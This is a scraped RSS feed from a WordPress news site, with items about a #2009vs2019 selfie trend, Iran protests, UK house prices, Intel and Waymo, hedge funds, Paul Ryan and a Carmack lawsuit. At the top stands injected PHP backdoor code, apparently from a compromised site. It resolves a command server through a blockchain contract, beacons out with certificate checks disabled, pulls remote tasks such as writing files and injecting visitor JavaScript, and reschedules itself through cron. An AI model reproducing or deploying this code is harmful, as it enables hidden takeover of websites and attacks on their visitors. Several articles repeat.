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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); 2009 – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 16 Jan 2019 08:34:30 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png 2009 – Brief News https://briefnews.eu 32 32 Die Leute teilen Selfies von 2009 und 2019 und zeigen, wie krass (oder gar nicht) sie sich verändert haben https://briefnews.eu/die-leute-teilen-selfies-von-2009-und-2019-und-zeigen-wie-krass-oder-gar-nicht-sie-sich-verandert-haben/ https://briefnews.eu/die-leute-teilen-selfies-von-2009-und-2019-und-zeigen-wie-krass-oder-gar-nicht-sie-sich-verandert-haben/#respond Wed, 16 Jan 2019 08:34:30 +0000 http://briefnews.eu/die-leute-teilen-selfies-von-2009-und-2019-und-zeigen-wie-krass-oder-gar-nicht-sie-sich-verandert-haben/

Damals, 2009, hast du wahrscheinlich Hangover im Kino geschaut, im Radio „Pokerface“ von Lady Gaga gehört und im Fernsehen MTV Home mit Joko und Claas geschaut. 10 Jahre sind eine ganz schön lange Zeit — oder etwa doch nicht?

Auf Twitter teilen Menschen unter dem Hashtag #2009vs2019 nun Fotos von sich damals und heute. Einige Fotos zeigen krasse Veränderungen, andere zeigen, wie wenig sie sich tatsächlich verändert haben.

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„Ich glaube, man kann schon sagen, dass die Pubertät es gut mit mir gemeint hat, gerade was meine Haut angeht.“

Ich glaube, man kann schon sagen, dass die Pubertät es gut mit mir gemeint hat, gerade was meine Haut angeht <img src= Und anscheinend konnte ich mir nicht mal für ein Bild die Haare kämmen oof... #2009vs2019">

Ich glaube, man kann schon sagen, dass die Pubertät es gut mit mir gemeint hat, gerade was meine Haut angeht 😂
Und anscheinend konnte ich mir nicht mal für ein Bild die Haare kämmen oof…

#2009vs2019

2.

„Dunkle Pre-Bart-Zeit.“

3.

„Sommerurlaub 2009 vs dieses Silvester.“

Ich will auch mal! #2009vs2019 Sommerurlaub 2009 vs dieses Silvester. Technisch gesehen wurde das Bild noch 2018 gemacht, aber ich habe es bis 2019 getragen!

Ich will auch mal! #2009vs2019

Sommerurlaub 2009 vs dieses Silvester. Technisch gesehen wurde das Bild noch 2018 gemacht, aber ich habe es bis 2019 getragen!

4.

„Gleiche Fratze, aber Falten auf der Stirn.“

5.

„Ich wusste nicht wohin mit mir (…). Aber 10 Jahre später kann ich sagen: Der Kampf hat sich gelohnt.“

#2009vs2019 Von 09 gibt es kein Foto (drum 08). Ich wusste nicht wohin mit mir. Was sollte ich mit diesem Leben anfangen? Ich wurde rausgeworfen (Hi, "Dad"), musste wieder alles zurücklassen und von vorne beginnen. Aber 10 Jahre später kann ich sagen: Der Kampf hat sich gelohnt!

#2009vs2019 Von 09 gibt es kein Foto (drum 08). Ich wusste nicht wohin mit mir. Was sollte ich mit diesem Leben anfangen? Ich wurde rausgeworfen (Hi, "Dad"), musste wieder alles zurücklassen und von vorne beginnen. Aber 10 Jahre später kann ich sagen: Der Kampf hat sich gelohnt!

6.

“Das me”

7.

„Ist schon ok so.“

8.

„Hab ich mich gut gehalten oder war ich einfach schon vor 10 Jahren 38??“

#2009vs2019 Hab ich mich gut gehalten oder war ich einfach schon vor 10 Jahren 38?? 😂

#2009vs2019 Hab ich mich gut gehalten oder war ich einfach schon vor 10 Jahren 38?? 😂

9.

„Ich mach auch mal mit.“

10.

„Wenn ich zurückschaue, habe ich trotzdem das Gefühl, ich war damals noch ein Kind.“

#2009vs2019 Damals hatte ich schon eine eigene Wohnung, ein Auto, diverse Jobs etc. - aber wenn ich zurück schaue, habe ich trotzdem das Gefühl ich war damals noch ein Kind :')

#2009vs2019
Damals hatte ich schon eine eigene Wohnung, ein Auto, diverse Jobs etc. – aber wenn ich zurück schaue, habe ich trotzdem das Gefühl ich war damals noch ein Kind :')

11.

„Wenn ich nochmal die Wahl hätte 16 zu sein, würde ich dankend ablehnen.“

#2009vs2019 Wenn ich nochmal die Wahl hätte 16 zu sein, würde ich dankend ablehnen. :D Aus diversen Gründen

#2009vs2019
Wenn ich nochmal die Wahl hätte 16 zu sein, würde ich dankend ablehnen. 😀 Aus diversen Gründen

12.

„Ja doch. Man erkennt einen kleinen Unterschied.“

#2009vs2019 Ja doch. Man erkennt einen kleinen Unterschied. Aber so viel ist dann auch nicht passiert. <img src=">

#2009vs2019
Ja doch. Man erkennt einen kleinen Unterschied. Aber so viel ist dann auch nicht passiert. 🤷🏼‍♂️

13.

„Alter Falter.“

14.

„Ich kann stolz von mir behaupten, den MySpace-Angle seit Jahrzehnten zu perfektionieren.“

#2009vs2019 Ich kann stolz von mir behaupten, den Myspace-Angle seit Jahrzehnten zu perfektionieren.

#2009vs2019
Ich kann stolz von mir behaupten, den Myspace-Angle seit Jahrzehnten zu perfektionieren.

15.

„Pinke Haare waren schon immer mein Spirit.“

16.

„Beide Male schlechtes Licht, schlechte Quali.“

Auch mal von mir... #2009vs2019 (Beide Male schlechtes Licht, schlechte Quali... Dgaf... xP )

Auch mal von mir…
#2009vs2019
(Beide Male schlechtes Licht, schlechte Quali… Dgaf… xP )

17.

„Mit meiner lieben Schwester. Ach, was waren wir süß.“

Hab kein Bild von 2019 aber whatever...links mit meiner lieben Schwester. Ach was waren wir süß. 😘 #2009vs2019

Hab kein Bild von 2019 aber whatever…links mit meiner lieben Schwester. Ach was waren wir süß. 😘 #2009vs2019

18.

„Weil es gerade jeder macht.“

19.

„Da tat sich einiges in den letzten zehn Jahren.“

20.

„Naja, dann mache ich mal mit.“

Ich hab noch kein #2009vs2019 Tweet gesehen, nur Kommentare, dass das angeblich jeder aktuell macht <img src= Naja dann mache ich mal mit 😅">

Ich hab noch kein #2009vs2019 Tweet gesehen, nur Kommentare, dass das angeblich jeder aktuell macht 🤔

Naja dann mache ich mal mit 😅

21.

„Meine ganze Timeline ist voll mit euren tollen Bildern, deshalb mach ich jetzt auch mal mit.“

Meine ganze Timeline ist voll von euren tollen Bildern, deshalb mach ich jetzt auch mal mit #2009vs2019

Meine ganze Timeline ist voll von euren tollen Bildern, deshalb mach ich jetzt auch mal mit
#2009vs2019

22.

„2009 mit meinem inzwischen verstorbenen langjährigen Freund“

Na komm, ich mach auch mal mit. Hab nur eins vom 30.12.18, aber NAJA zählt ja fast als 2019. 2009 mit meinem inzwischen verstorbenen langjährigen Freund Theo :((( #2009vs2019

Na komm, ich mach auch mal mit. Hab nur eins vom 30.12.18, aber NAJA zählt ja fast als 2019.
2009 mit meinem inzwischen verstorbenen langjährigen Freund Theo :(((

#2009vs2019

23.

„Blond feiert nach 10 Jahren Comeback.“

#2009vs2019 Viele Fotos von 2009 hab ich nicht aber blond feiert nach 10 Jahren comeback <img src=">

#2009vs2019
Viele Fotos von 2009 hab ich nicht aber blond feiert nach 10 Jahren comeback 😆

24.

„Ein wenig habe ich mich schon verändert.“

25.

„Kurze Haare haben sich durchgesetzt.“

Kurze Haare haben sich durchgesetzt <img src= (hab noch kein Selfie in 2019 gemacht, also eins aus 2018) #2009to2019 #2009vs2019">

Kurze Haare haben sich durchgesetzt 😂 (hab noch kein Selfie in 2019 gemacht, also eins aus 2018)
#2009to2019 #2009vs2019

26.

„10 Jahre älter und ich habe mich kaum verändert.“

27.

„Ich lege Wert drauf, zu betonen, dass ich auch 2009 fast ausschließlich Metal gehört und das Tokio-Hotel-Shirt nur ironisch getragen habe.“

Warum nicht, wa? #2009vs2019 Ich lege Wert drauf, zu betonen, dass ich auch 2009 fast ausschließlich Metal gehört und das Tokio-Hotel-Shirt nur ironisch getragen habe <img src=">

Warum nicht, wa? #2009vs2019

Ich lege Wert drauf, zu betonen, dass ich auch 2009 fast ausschließlich Metal gehört und das Tokio-Hotel-Shirt nur ironisch getragen habe 😋

28.

„Fast gar nicht verändert!“

29.

„Mehr Haar hatte ich auch.“

#2009vs2019 Ganzkörperbilder habe ich vor 10 Jahren noch nicht gemacht xD Man könnte meinen ich habe abgenommen, wenn man sich mein Gesicht ansieht, aber ich wog früher 50kg und heute 56kg<img src=😂 Und mehr Haar hatte ich auch🤔🙈">

#2009vs2019

Ganzkörperbilder habe ich vor 10 Jahren noch nicht gemacht xD
Man könnte meinen ich habe abgenommen, wenn man sich mein Gesicht ansieht, aber ich wog früher 50kg und heute 56kg🤷‍♀️😂

Und mehr Haar hatte ich auch🤔🙈

30.

„Ich musste lange suchen (…), aber ich habe da was gefunden.“

Ich musste lange suchen ein Bild aus dem Jahr 2009 (Silvester) zu finden, aber ich habe da was gefunden. Wo ich noch schlank war. <img src= #2009vs2019 (Bild 2018)">

Ich musste lange suchen ein Bild aus dem Jahr 2009 (Silvester) zu finden, aber ich habe da was gefunden.
Wo ich noch schlank war. 😭

#2009vs2019 (Bild 2018)

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  • A viral photo challenge asks people to show how much they have changed in the last 10 years.
  • The “How Hard Did Aging Hit You” challenge got an earnest start on Facebook.
  • But on Twitter people are treating it as a joke.
  • Here are some of the best memes.

A lot can change in one year, let alone 10. And a new meme recognizes that, as humans who exist in corporeal forms, we are ever-changing — so go ahead and share your transformation with your closest friends: your Twitter followers.

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  • Iran was rocked by protests this week that pit protesters angry with the country’s economic downturn against pro-government hardliners.
  • The demonstrations began Thursday, when protesters took to the streets to criticize Iran’s government and the skyrocketing prices of basic necessities.
  • The protests are the largest in Iran since the 2009 Green Movement, which took root after former President Mahmoud Ahmadinejad was re-elected. 

TEHRAN, Iran (AP) — Iranian hard-liners rallied Saturday to support the country’s supreme leader and clerically overseen government as spontaneous protests sparked by anger over the country’s ailing economy roiled major cities in the Islamic Republic.

The demonstrations, commemorating a mass 2009 pro-government rally challenging those who rejected the re-election of hard-line President Mahmoud Ahmadinejad amid fraud allegations, had been scheduled weeks earlier.

However, they took on new importance after the economic protests began Thursday, sparked by social media posts and a surge in prices of basic food supplies, like eggs and poultry.

Police arrested 52 people during Thursday’s demonstrations, according to the semi-official Fars news agency. Social media footage depicted police dressed in riot gear using water cannons and tear gas to dispel protesters. 

Thousands have taken to the streets of several cities in Iran, beginning first in Mashhad, the country’s second-largest city and a holy site for Shiite pilgrims. Demonstrators also have criticized Iran’s government during the protests, with social media videos showing clashes between protesters and police.

iran protestAP

The largest demonstrations in Iran since 2009

Fars said protests on Friday also struck Qom, a city that is the world’s foremost center for Shiite Islamic scholarship and home to a major Shiite shrine.

The demonstrations appear to be the largest to strike the Islamic Republic since its 2009 Green Movement arose after Ahmadinejad’s re-election.

However, information about them remains scarce as both state-run and semi-official media in Iran have not widely reported on the protests. An online report Saturday by Iranian state television said national media in the country hadn’t reported on the protests on orders from security officials.

State TV also aired its first reports on the protests Saturday, acknowledging some protesters chanted the name of Iran’s one-time shah, who fled into exile just before its 1979 Islamic Revolution.

“Counterrevolution groups and foreign media are continuing their organized efforts to misuse the people’s economic and livelihood problems and their legitimate demands to provide an opportunity for unlawful gatherings and possibly chaos,” state TV said.

State TV aired live Saturday’s pro-government “9 Dey Epic” demonstrations, named for the date on the Iranian calendar the 2009 protests took place. The footage showed people waving flags and carrying banners bearing the image of Iran’s Supreme Leader Ayatollah Ali Khamenei.

In Tehran, some 4,000 people gathered at the Musalla prayer ground in central Tehran. They called for criminal trials for Mir Hossein Mousavi and Mahdi Karroubi, leaders in the Green Movement who have been under house arrest since 2011. Iranian President Hassan Rouhani, whose administration struck the 2015 nuclear deal with world powers, campaigned on freeing the men, though they remain held.

‘We must go back to the pre-nuclear deal situation’

Hassan RouhaniReuters

Mohsen Araki, a Shiite cleric who serves in Iran’s Assembly of Experts, praised Rouhani’s efforts at improving the economy. However, he said Rouhani needed to do more to challenge “enemy pressures.”

“We must go back to the pre-nuclear deal situation,” Araki said. “The enemy has not kept with its commitments.”

Ali Ahmadi, a pro-government demonstrator, blamed the U.S for all of Iran’s economic problems.

“They always say that we are supporting Iranian people, but who should pay the costs?” Ahmadi asked.

But by Saturday afternoon, hundreds of students and others joined a new economic protest at Tehran University. Witnesses said they saw a mass of riot police at the gates of the university while some roads had been blocked off.

Iran’s economy has improved since the nuclear deal, which saw Iran limit its enrichment of uranium in exchange for the end of some of the international sanctions that crippled its economy. Tehran now sells its oil on the global market and has signed deals for tens of billions of dollars of Western aircraft.

That improvement has not reached the average Iranian, however. Unemployment remains high. Official inflation has crept up to 10 percent again. A recent increase in egg and poultry prices by as much as 40 percent, which a government spokesman has blamed on a cull over avian flu fears, appears to have been the spark for the protests.

While police have arrested some protesters, the country’s powerful Revolutionary Guard and its affiliates have not intervened as they have in other unauthorized demonstrations since the 2009 election. The economic protests initially just put pressure on Rouhani’s administration, but purported footage from recent demonstrations included anti-government chants.

Trump weighs in

Donald TrumpJim Bourg/Reuters

Early on Saturday, U.S. President Donald Trump tweeted out his support for the protests.

“Many reports of peaceful protests by Iranian citizens fed up with regime’s corruption & its squandering of the nation’s wealth to fund terrorism abroad,” he wrote. “Iranian govt should respect their people’s rights, including right to express themselves. The world is watching! (hashtag) IranProtests.”

It’s unclear what effect Trump’s support would have. Iranians already are largely skeptical of him over his refusal to re-certify the nuclear deal. Trump’s insistence in an October speech on using the term “Arabian Gulf” in place of the Persian Gulf also has also riled the Iranian public.

Meanwhile, U.S. Secretary of State Rex Tillerson’s comments in June to Congress saying American is working toward “support of those elements inside of Iran that would lead to a peaceful transition of that government” has been used by Iran’s government of a sign of foreign interference in its internal politics.

The State Department issued a statement Friday supporting the protests, referencing Tillerson’s earlier comments.

“Iran’s leaders have turned a wealthy country with a rich history and culture into an economically depleted rogue state whose chief exports are violence, bloodshed and chaos,” the statement said.

Iran’s Foreign Ministry dismissed the comments.

“The noble Iranian nation never pays heed to the opportunist and hypocritical mottos chanted by the U.S. officials and their interfering allegations on domestic developments in the Islamic Republic of Iran,” the state-run IRNA news agency quoted ministry spokesman Bahram Ghasemi as saying.

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Crest Nicholson Holdings Plc (CRST.L) is the latest property firm to flag weakness in central London property prices while reporting average house price growth across its UK business fell to a quarter of that in 2016.

“The housing market is generally robust across the Group’s principal operating areas and sales prices continue to show moderate growth although Central London transactions are suffering from some volume and price weakness,” the company said in a statement.

Average selling prices for the builder’s homes increased 5.4 per cent to £391,000 compared to growth of 18 percent in 2016.

With concerns over Brexit weighing and the Bank of England this month raising interest rates for the first time in a decade, the Royal Institution of Chartered Surveyors (RICS) said last week that house prices in Britain were no longer rising.

In London they are falling at the fastest pace since 2009, it added, knocking shares of house builders including Crest Nicholson lower.

In its annual trading update, Crest Nicholson said it built 2.3 per cent more homes in the 12 months to the end of October but that its underlying sales rate per outlet per week fell to an average of 0.77 from 0.81 last year.

The company, which builds homes in south Wales, London and southern and eastern England, however stuck to its sales target of £1.4 billion in 2019. 

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Self-driving cars have Silicon Valley salivating. Something of a gold rush is going on right now, as everyone is trying to perfect the technology that could banish gridlock and traffic casualties once and for all. Google started working on the problem back in 2009, then in 2016 spun the project out as a company in its own right called Waymo. Today, we learned something new about the Waymo project: it’s powered by Intel.

The chip-maker publicly stated today that it has been partnering with Waymo since 2009. Intel has been supplying Xeon processors, Arria field programmable gate arrays (for machine vision), and gigabit ethernet solutions (to let all the various components talk to each other).

“With three million miles of real-world driving, Waymo cars with Intel technology inside have already processed more self-driving car miles than any other autonomous fleet on US roads,” wrote Intel CEO Brian Krzanich in a blog post announcing the news.

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]]> https://briefnews.eu/intel-reveals-it-has-been-working-with-google-on-self-driving-cars-since-2009/feed/ 0 Hedge funds betting on stocks are having their best year since 2009 — but they’re still getting smoked by the market https://briefnews.eu/hedge-funds-betting-on-stocks-are-having-their-best-year-since-2009-but-theyre-still-getting-smoked-by-the-market-2/ https://briefnews.eu/hedge-funds-betting-on-stocks-are-having-their-best-year-since-2009-but-theyre-still-getting-smoked-by-the-market-2/#respond Sat, 26 Aug 2017 12:30:26 +0000 http://briefnews.eu/hedge-funds-betting-on-stocks-are-having-their-best-year-since-2009-but-theyre-still-getting-smoked-by-the-market-2/ frustrated traderReuters / Brendan McDermid

  • Equity hedge funds are off to their best start to a year since 2009, but they’re still trailing the S&P 500.
  • In a market that’s been largely devoid of price swings, hedge funds have been piling into the same proven stocks.

The performance of stock hedge funds this year isn’t exactly providing a ringing endorsement for the industry.

The average fund is up 7% in 2017, the best seven-month start to a year since 2009, when the market hit its post-financial crisis bottom and embarked upon the ongoing bull market, according to Goldman Sachs. And while that return looks good on paper, it’s still trailing the benchmark S&P 500, which has climbed 12% over the period.

The lagging performance begs the question — why should investors keep forking over big fees to hedge fund managers when they can get superior performance by simply buying cheaper S&P 500 index funds?

To make matters even more dicey, hedge funds are increasingly piling into the same stocks, creating a crowded situation that seems harmless when the market is rising, but poses the threat of outsized losses should stocks roll over. The average hedge fund carries 68% of its long portfolio in its top 10 positions, just below a record level of density reached in early 2016, Goldman says.

It must be noted, however, that the strategy of continuing to pile into the same stocks is working right now. A Goldman index of the stocks most frequently found in the top 10 of hedge fund holdings has surged 19%, dwarfing the S&P 500’s return of 12%.

The problem is, that’s only one piece of the puzzle. It’s the rest of those portfolios that’s causing them to trail the benchmark.

With all of that said, it’s only fair to point out that hedge funds haven’t exactly been dealt the easiest set of conditions. For much of the past several months, volatility in the stock market has been locked near record lows, depriving money managers of the types of price swings that create opportunity. As an extension of that, the return difference between the best- and worst-performing stocks — a measure called dispersion — is below average for most sectors.

Screen Shot 2017 08 18 at 10.20.38 AMGoldman Sachs

Looking beyond stock hedge funds, the picture is even more bleak. A universe of all hedge funds has risen just 4% so far in 2017, while those specifically focused on macro investment have actually lost money, falling 1%.

This struggle to turn a profit has hit some of the industry’s biggest players. Two Sigma, one of the world’s fastest-growing firms, saw its Risk Premia strategy return less than 0.1% over the first six months of the year. Meanwhile, the flagship fund for $ 10.5 billion Maverick Capital made no money in the first half of 2017.

However, with global markets increasingly on edge amid growing geopolitical tensions, better opportunities could open up for hedge funds, and soon. The stock market in particular has looked rattled of late, with the CBOE Volatility Index — or VIX — spiking roughly 40% over the past week, signaling investor fear.

A more volatile market is what hedge funds have craved all year, and it looks like they’ll soon get a chance to prove their worth.

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  • Equity hedge funds are off to their best start to a year since 2009, but they’re still trailing the S&P 500.
  • In a market that’s been largely devoid of price swings, hedge funds have been piling into the same proven stocks.

The performance of stock hedge funds this year isn’t exactly providing a ringing endorsement for the industry.

The average fund is up 7% in 2017, the best seven-month start to a year since 2009, when the market hit its post-financial crisis bottom and embarked upon the ongoing bull market, according to Goldman Sachs. And while that return looks good on paper, it’s still trailing the benchmark S&P 500, which has climbed 12% over the period.

The lagging performance begs the question — why should investors keep forking over big fees to hedge fund managers when they can get superior performance by simply buying cheaper S&P 500 index funds?

To make matters even more dicey, hedge funds are increasingly piling into the same stocks, creating a crowded situation that seems harmless when the market is rising, but poses the threat of outsized losses should stocks roll over. The average hedge fund carries 68% of its long portfolio in its top 10 positions, just below a record level of density reached in early 2016, Goldman says.

It must be noted, however, that the strategy of continuing to pile into the same stocks is working right now. A Goldman index of the stocks most frequently found in the top 10 of hedge fund holdings has surged 19%, dwarfing the S&P 500’s return of 12%.

The problem is, that’s only one piece of the puzzle. It’s the rest of those portfolios that’s causing them to trail the benchmark.

With all of that said, it’s only fair to point out that hedge funds haven’t exactly been dealt the easiest set of conditions. For much of the past several months, volatility in the stock market has been locked near record lows, depriving money managers of the types of price swings that create opportunity. As an extension of that, the return difference between the best- and worst-performing stocks — a measure called dispersion — is below average for most sectors.

Screen Shot 2017 08 18 at 10.20.38 AMGoldman Sachs

Looking beyond stock hedge funds, the picture is even more bleak. A universe of all hedge funds has risen just 4% so far in 2017, while those specifically focused on macro investment have actually lost money, falling 1%.

This struggle to turn a profit has hit some of the industry’s biggest players. Two Sigma, one of the world’s fastest-growing firms, saw its Risk Premia strategy return less than 0.1% over the first six months of the year. Meanwhile, the flagship fund for $ 10.5 billion Maverick Capital made no money in the first half of 2017.

However, with global markets increasingly on edge amid growing geopolitical tensions, better opportunities could open up for hedge funds, and soon. The stock market in particular has looked rattled of late, with the CBOE Volatility Index — or VIX — spiking roughly 40% over the past week, signaling investor fear.

A more volatile market is what hedge funds have craved all year, and it looks like they’ll soon get a chance to prove their worth.

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]]> https://briefnews.eu/hedge-funds-betting-on-stocks-are-having-their-best-year-since-2009-but-theyre-still-getting-smoked-by-the-market/feed/ 0 Paul Ryan to OZY’s Carlos Watson in 2009 on Obamacare: Don't Rush Bills https://briefnews.eu/paul-ryan-to-ozys-carlos-watson-in-2009-on-obamacare-dont-rush-bills/ https://briefnews.eu/paul-ryan-to-ozys-carlos-watson-in-2009-on-obamacare-dont-rush-bills/#respond Fri, 05 May 2017 21:46:10 +0000 http://briefnews.eu/paul-ryan-to-ozys-carlos-watson-in-2009-on-obamacare-dont-rush-bills/

As House Republicans rushed through a bill designed to partially repeal and replace the law known as Obamacare this week, the arguments against them sounded awfully familiar — because Republicans had used them before, when Obamacare was first passed.

Witness a prime example featuring OZY Editor-in-Chief Carlos Watson, who interviewed Paul Ryan on MSNBC in the heady summer of 2009. At the time, Ryan was a rising star on the Republican side and OZY but a gleam in Watson’s eye. Ryan, now the speaker of the House, objected to Democrats moving health care bills through committee after months of debate — and months before they’d actually pass what became the Affordable Care Act.

“I don’t think we should pass bills that we haven’t read, that we don’t know what they cost,” Ryan told Watson at the time. This week, to cobble together the votes needed for a health care bill to pass, the 2017 version of Paul Ryan added fresh amendments to the massive bill as it hit the House floor — before the nonpartisan Congressional Budget Office could tell lawmakers what it costs.

With Watson, Ryan 2009 talked up the time he spent meeting with constituents and slammed the “artificial deadline” of completing a bill before August recess — a deadline Democrats would not hit, amid internal squabbles. This week, House Republicans, under heavy pressure from Donald Trump’s White House, sped the bill through before taking off for a weeklong recess at home.

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As House Republicans rushed through a bill designed to partially repeal and replace the law known as Obamacare this week, the arguments against them sounded awfully familiar — because Republicans had used them before, when Obamacare was first passed.

Witness a prime example featuring OZY Editor-in-Chief Carlos Watson, who interviewed Paul Ryan on MSNBC in the heady summer of 2009. At the time, Ryan was a rising star on the Republican side and OZY but a gleam in Watson’s eye. Ryan, now the speaker of the House, objected to Democrats moving health care bills through committee after months of debate — and months before they’d actually pass what became the Affordable Care Act.

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“I don’t think we should pass bills that we haven’t read, that we don’t know what they cost,” Ryan told Watson at the time. This week, to cobble together the votes needed for a health care bill to pass, the 2017 version of Paul Ryan added fresh amendments to the massive bill as it hit the House floor — before the nonpartisan Congressional Budget Office could tell lawmakers what it costs.

With Watson, Ryan 2009 talked up the time he spent meeting with constituents and slammed the “artificial deadline” of completing a bill before August recess — a deadline Democrats would not hit, amid internal squabbles. This week, House Republicans, under heavy pressure from Donald Trump’s White House, sped the bill through before taking off for a weeklong recess at home.

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]]> https://briefnews.eu/paul-ryan-in-2009-dont-pass-bills-when-we-dont-know-what-they-cost/feed/ 0 John Carmack: ZeniMax owes me $22.5M as part of 2009 id Software deal https://briefnews.eu/john-carmack-zenimax-owes-me-22-5m-as-part-of-2009-id-software-deal/ https://briefnews.eu/john-carmack-zenimax-owes-me-22-5m-as-part-of-2009-id-software-deal/#respond Fri, 10 Mar 2017 20:45:37 +0000 http://briefnews.eu/john-carmack-zenimax-owes-me-22-5m-as-part-of-2009-id-software-deal/

Enlarge / John Carmack, CTO of Oculus VR, as seen in 2016. (credit: GABRIELLE LURIE/AFP/Getty Images)

John Carmack, the CTO of Oculus, has sued his former employer, ZeniMax Media, for alleged breach of contract.

In the lawsuit, which was filed on Tuesday, Carmack claims that he is owed over $ 22.5 million as part of the 2009 deal in which ZeniMax Media bought id Software. Carmack co-founded id Software in 1991, which created Wolfenstein, Doom, Quake, and a number of other legendary video game titles. He left id Software in 2013 and quickly joined Oculus.

Carmack, Oculus, and ZeniMax Media have been entangled in an ongoing legal battle for years over questions surrounding the development of the Oculus VR headset. ZeniMax sued Oculus in 2014 over misappropriation of trade secrets, copyright infringement, and breach of contract, among other accusations. The civil lawsuit went to trial earlier this year and resulted in a jury finding that Oculus was liable for $ 300 million. Carmack, who was accused of stealing code and destroying evidence, was found not to be personally liable for any damages. ZeniMax had sought damages of $ 6 billion in the case. Oculus, which vowed to appeal, has not done so yet.

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